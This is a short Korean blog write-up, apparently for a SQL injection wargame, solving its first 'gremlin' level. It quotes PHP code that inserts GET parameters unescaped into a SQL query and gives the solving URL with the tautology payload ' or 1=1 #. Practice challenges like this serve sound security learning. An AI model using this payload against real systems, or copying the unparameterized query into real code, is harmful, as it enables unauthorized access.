반응형
오늘부터 http://los.eagle-jump.org/에 있는 문제를 풀어보도록 하겠습니다.
오늘은 gremlin부터 시작하도록 하겠습니다.
이 사진을 클릭하면 소스코드가 나옵니다
코드를 분석해보면
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("gremlin");
쿼리를 보냈을때 id에 값이 있어야 뒤에 gremlin이 풀리는걸 알 수 있습니다
하지만 저희는 id 값도 pw 값도 모르니 sql injection을 통해 참으로 만들어버리겠습니다
답은 하얀색 글씨!!
http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=hello' or 1=1 %23
다 풀면
'Wargame > log.eagle-jump.org' 카테고리의 다른 글
[LOS] 문제6 Darkelf (0) | 2017.09.07 |
---|---|
[LOS] 문제5 Wolf (0) | 2017.09.07 |
[LOS] 문제 4 Orc (0) | 2017.09.07 |
[LOS] 문제 3 Goblin (0) | 2017.09.07 |
[LOS] 문제 2 Cobolt (0) | 2017.09.07 |